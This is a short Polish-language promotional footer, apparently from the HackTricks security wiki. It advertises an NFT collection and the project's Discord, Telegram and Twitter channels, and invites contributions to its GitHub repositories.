* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
|
Loading…
Reference in a new issue